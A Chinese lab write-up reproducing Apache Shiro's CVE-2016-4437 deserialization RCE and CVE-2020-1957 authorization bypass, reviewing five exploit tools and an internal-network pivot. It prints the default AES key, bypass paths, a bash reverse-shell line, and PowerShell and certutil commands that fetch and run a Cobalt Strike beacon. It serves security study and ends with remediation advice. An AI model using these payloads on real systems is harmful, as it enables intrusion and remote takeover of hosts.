本篇文章是Shiro框架復現記錄,記錄了實際中常見的Shiro框架漏洞並如何利用,對漏洞底層的原理簡單分析,主要分為五個部分:Shiro簡單介紹、相關環境搭建、漏洞復現、工具介紹和自建內網環境實戰。本篇文章由淺入深地復現了兩個經典漏洞及介紹五個Shiro滲透工具,相關參考文章也在文中有列出。此外,文中也可能會出現部分錯誤,望讀者指出,謝謝。接着,開始我們的Shiro滲透之路學習!!
一、Shiro簡介
1、Shiro介紹
Apache Shiro
是一個強大且易用的Java
安全框架,用於身份驗證、授權、密碼和會話管理,具有以下特點:
- 易於使用——易用性是項目的最終目標。應用程序安全非常令人困惑和沮喪,被認為是“不可避免的災難”。如果你讓它簡化到新手都可以使用它,它就將不再是一種痛苦了。
- 全面——沒有其他安全框架的寬度范圍可以同Apache Shiro一樣,它可以成為你的“一站式”為您的安全需求提供保障。
- 靈活——Apache Shiro可以在任何應用程序環境中工作。雖然在網絡工作、EJB和IoC環境中可能並不需要它。但Shiro的授權也沒有任何規范,甚至沒有許多依賴關系。
- Web支持——Apache Shiro擁有令人興奮的web應用程序支持,允許您基於應用程序的url創建靈活的安全策略和網絡協議(例如REST),同時還提供一組JSP庫控制頁面輸出。
- 低耦合——Shiro干凈的API和設計模式使它容易與許多其他框架和應用程序集成。你會看到Shiro無縫地集成Spring這樣的框架, 以及Grails, Wicket, Tapestry, Mule, Apache Camel, Vaadin…等。
- 被廣泛支持——Apache Shiro是Apache軟件基金會的一部分。項目開發和用戶組都有友好的網民願意幫助。這樣的商業公司如果需要Katasoft還提供專業的支持和服務。
2、Shiro漏洞原理
在Shiro
框架下,用戶登陸成功后會生成一個經過加密的Cookie
。其Cookie
的Key
的值為RememberMe
,Value
的值是經過序列化、AES
加密和Base64
編碼后得到的結果。
服務端在接收到一個Cookie時,會按照如下步驟進行解析處理:
- 檢索
RememberMe Cookie
的值 - 進行
Base64
解碼 - 進行
AES
解碼 - 進行反序列化操作
在第4步中的調用反序列化時未進行任何過濾,進而可以導致出發遠程代碼執行漏洞。
由於使用了AES
加密,成功利用該漏洞需要獲取AES
的加密密鑰,在Shiro1.2.4
版本之前AES
的加密密鑰為硬編碼,其默認密鑰的Base64
編碼后的值為kPH+bIxk5D2deZiIxcaaaA==
,於是就可得到Payload
的構造流程:
惡意命令-->序列化-->AES加密-->base64編碼-->發送Cookie
目前官方通過去掉硬編碼的密鑰是的每次生成一個密鑰來解決其漏洞,但可以通過搜索引擎等方式收集到不同的密鑰,提高對該漏洞的利用成功率。
3、Shiro漏洞指紋
響應包中存在字段set-Cookie: rememberMe=deleteMe
二、環境搭建
1、Java1.8安裝
下載地址:
https://www.java.com/zh-CN/download/
默認下一步安裝即可
2、Tomcat8.x安裝
下載地址:
https://tomcat.apache.org/download-80.cgi
默認下一步安裝即可
3、部署Shiro war包
將whiro.war
包放置C:\Tomcat 8.5\webapps\
目錄下
開啟Tomcat
訪問網址:192.168.112.151:8080
,該ip
是環境自身ip
地址
4、Vulhub靶場搭建
三、漏洞復現
以復現操作為主,底層原理解析見之后的文章
1、Apache Shiro反序列化漏洞(CVE-2016-4437)
AES密鑰猜解RCE
0x01 漏洞概述
在Shiro
框架下,用戶登陸成功后會生成一個經過加密的Cookie
。其Cookie
的Key
的值為RememberMe
,Value
的值是經過序列化、AES
加密和Base64
編碼后得到的結果。AES
的加密密鑰為硬編碼,導致攻擊者可以構造惡意數據造成反序列化RCE
漏洞
影響版本:
Shiro < 1.2.5
0x02 漏洞指紋
響應包中存在字段set-Cookie: rememberMe=deleteMe
0x03 漏洞利用
1)使用工具進行AES
密鑰猜解
2)使用工具命令執行
0x04 自動化工具及上線CS
這里介紹一款反序列化遠程命令執行利用腳本shiro-1.2.4-rce
,傳送門
利用條件:shiro <= 1.2.4
使用延時判斷key
和gadget
,即使目標不出網也可以檢測是否存在漏洞。Python
腳本需要調用ysoserial-sleep.jar
,這里的ysoserial-sleep.jar
文件並不是原版的,增加了延時命令功能,故不要使用原版ysoserial
,否則將無法檢測。該工具具有4個特性:
- Key可修改添加
- 具有延時功能
- 執行的命令使用了
Base64
編碼 - 區分
Linux
和Windows
使用方法:
輸入python3 shiro-1.2.4_rce.py http://192.168.112.151:8080/shiro/
這里的IP
是剛剛在Win7
上搭建的環境的IP
執行calc
,遠程打開目標主機上的計算器程序
注意點:這里命令是自動編制執行的,仍可執行,但是無回顯。
上線CS:
由於上述自動化工具沒有回顯,這里嘗試上線到CS后進一步滲透
1)開啟teamserver
teamserver 192.168.112.145 1111
2)生成木馬文件
開啟python簡易http服務,但是我這win7沒安裝python,就將該木馬文件放到kali上,在開啟簡易http用於傳輸
3)Kali上開啟python簡易HTTP服務
python -m SimpleHTTPServer 8008
4)結合之前得到的shell上線CS
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.112.149:8008/Shiro1.exe','Shiro1.exe');start-process Shiro1.exe
2、 Apache Shiro權限繞過漏洞(CVE-2020-1957)
越權訪問
參考:Shiro 權限繞過漏洞分析(CVE-2020-1957) - 斗象能力中心 (riskivy.com)
0x01 漏洞概述
Shiro
框架使用攔截器對用戶訪問權限進行控制,常見的有如anon、authc
等攔截器。
anon
攔截器為匿名攔截器,無需登陸即可進行訪問,一般用於靜態資源。
authc
為登陸攔截器,需要登陸才可以訪問。
用戶可以在Shiro.ini
編寫匹配URL配置,將會攔截匹配的URL,並執行響應的攔截器。從而實現對URL的訪問控制,URL路徑表達式通常為ANT格式。即訪問/index
時無需登陸,而訪問/user/test
時需要登陸認證。
#Shiro.ini
/index = anon
/user/** = authc
------
Ant格式:
?:匹配一個字符
*:匹配零個或多個字符串
**:匹配路徑中的零個或多個路徑
這里的/**
可以匹配路徑,即可以匹配到/user/test/
,而/*
只能匹配到單個或多個字符串,即/user/test
。那么假設配置內改為:/user/* = authc
,則可以匹配到/user/test
但無法匹配到/user/test/
(多了個斜桿),那么就會放行/user/test/
。然后進入到Spring(Servlet)
攔截器中,對於Spring,上述兩個路徑都是一致的,於是就造成了權限繞過。
影響版本:
Shiro < 1.5.3
0x02 漏洞環境
這里簡單搭建環境測試下
1)拉取鏡像
docker pull vulfocus/shiro-cve_2020_1957
2)查看並開啟docker
docker images
docker run -d -p 8080:8080 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.112.141 29136b1d3c61
docker ps
3)訪問靶機,開啟成功
0x03 漏洞利用
1)訪問/hello/1
,返回302
重定向信息
/hello/1
2)訪問/hello/1/
,成功繞過authc
攔截器
/hello/1/
除此之外,還可以使用下面的payload
/abcd;/../hello/1
0x04 類似漏洞
類似的漏洞還有CVE-2020-11989、CVE-2020-13933
。
四、Shiro滲透工具介紹
測試靶機地址信息:
Win7搭建:
192.168.112.151
http://192.168.112.151:8080/shiro/
Linux Vulhub靶機:
192.168.112.141
http://192.168.112.141:8080
1、shiro反序列化漏洞綜合利用工具v1.5
猜解Key和命令執行,對Linux較友好
工具截圖:
工具使用:
該工具主要給用於測試,上手簡單,將目標地址填入對應欄即可
經測試Windows環境下有點小問題,能猜解Key但是無法命令注入
在Linux下使用體驗較好
2、Shiro反序列化回顯工具v2.3
猜解Key,效果一般
工具截圖:
該工具可自行添加Key
工具使用:
上手也是挺簡單的,將key文件導入至Key框中,選擇默認DNSLOG即可,開始檢測。
不過體驗時經常會找不到key
3、Shiro命令執行工具-雷石安全實驗室
猜解Key,內置117個Key
工具截圖:
工具使用:
填入url
,點擊DNSLOG檢測
4、Shiro550/721漏洞檢測v2.51
用於外網的Key猜解及getshell,對Linux較友好
工具地址:
https://github.com/feihong-cs/ShiroExploit-Deprecated
工具截圖:
工具使用:
添加目標地址http://192.168.112.151:8080/shiro/
,點擊下一步,選擇dnslog.cn
進行漏洞檢測,點擊下一步進行猜解。
獲取到Key值后,該工具提供了三種方式進行下一步的滲透,具體如下:
反彈Shell(Linux):采用 bash -i >& /dev/tcp/1.2.3.4/443 0>&1 命令獲取shell
反彈Shell(Windows):采用 bitsadmin下載指定URL的exe可執行文件執行功能獲取shell
獲取Webshell 在給出的路徑中寫入webshell,webshell的內容在config目錄下的shell.jsp中
這里選擇反彈Shell(Linux)
,下面結合Kali
獲取到shell
,kali
端開啟監聽,在命令行中寫入kali
的地址及端口號。
選擇反彈Shell(Windows)
進行嘗試,這里先啟動了CS、python簡易服務器
,按照命令格式,輸入下載exe
文件的url
,但是並未成功。看到下面有一行代碼,測試直接在裝有shiro
主機處是否有效。
certutil.exe -urlcache -split -f http://192.168.112.149:8010/Shiro1.exe shell.exe & shell.exe
結果上線CS成功,說明該工具在命令執行這方面還是有點小bug
測試獲取Webshell
選項,同樣是有點小問題。
5、shiro-1.2.4-rce
可用於內網猜解Key,對Linux和Windows都支持較好
這里介紹一款反序列化遠程命令執行利用腳本shiro-1.2.4-rce
工具地址:
https://github.com/zhzyker/shiro-1.2.4-rce)
工具截圖:
利用條件:shiro <= 1.2.4
使用延時判斷key
和gadget
,即使目標不出網也可以檢測是否存在漏洞。Python
腳本需要調用ysoserial-sleep.jar
,這里的ysoserial-sleep.jar
文件並不是原版的,增加了延時命令功能,故不要使用原版ysoserial
,否則將無法檢測。該工具具有4個特性:
- Key可修改添加
- 具有延時功能
- 執行的命令使用了
Base64
編碼 - 區分
Linux
和Windows
工具使用:
python3 shiro-1.2.4_rce.py http://192.168.112.151:8080/shiro/
這里的IP
是剛剛在Win7
上搭建的環境的IP
選擇操作系統,這里選擇Windows
。如果未知操作系統類型,可以隨便選一個,錯了再跑一遍即可。
執行calc
,遠程打開目標主機上的計算器程序
。
注意點:這里命令是自動編制執行的,仍可執行,但是無回顯。
五、內網Shiro滲透|上線CS
1、環境配置信息
內網主機
搭建了shiro框架
10.10.10.100
內網對外服務器
充當一個跳板
10.10.10.11
192.168.112.157
公網服務器
用於和內網連接
192.168.112.145
Kali Linux
192.168.112.149
2、實驗模擬過程
1)獲取內網服務器並上線CS
重點在於后面內網主機的獲取,這里直接假設獲取了服務器的權限並上線了CS
2)建立frp代理
frps.exe -c frps.ini
frpc.exe -c frpc.ini
這里設置有點小問題,
frps.ini
中的bind_addr
應該設置為0.0.0.0
接收全部地址的請求。但是這里也能進行下去,我思考下
在公網服務器上開啟Proxifier代理隧道
3)Kali通過代理使用腳本進行Attack
配置proxychains.conf
vi /etc/proxychains4.conf
執行攻擊腳本
proxychains python3 shiro-1.2.4_rce.py http://10.10.10.100:8080/shiro/
成功猜解到加密密鑰,得到一個shell框
下一步就是上線CS了
4)創建中轉監聽器
選擇監聽器和監聽主機(這里的監聽主機Host
需要改為內網的地址)
5)生成木馬
選擇中轉監聽器
6)內網主機上線CS
將該木馬文件放到內網服務器目錄上(由於這里沒有服務器目錄,使用開啟python簡易服務器進行模擬,傳輸木馬文件)
python -m http.server 80
輸入命令,上線CS
powershell (new-object System.Net.WebClient).DownloadFile('http://10.10.10.11/shiro001.exe','shiro.exe');start-process shiro.exe
遺憾的是這里還是有點小bug,沒能復現成功,但基本思路就是這樣
六、總結
Shiro
框架使用了AES
對稱加密技術,故其加密密鑰與解密密鑰一致,並且密鑰是硬編碼在代碼中的,容易獲取。也就是說在獲取了密鑰之后可以通過構建惡意的Cookie
獲取權限執行攻擊命令,得到root
權限。解決措施就是升級Shiro
版本至shiro1.2.5
以上。而對於最近出現的shiro
權限繞過漏洞,應需盡量避免使用*
通配符作為動態路由攔截器的URL路徑表達式或者升級shiro
至1.5.2
版本以上。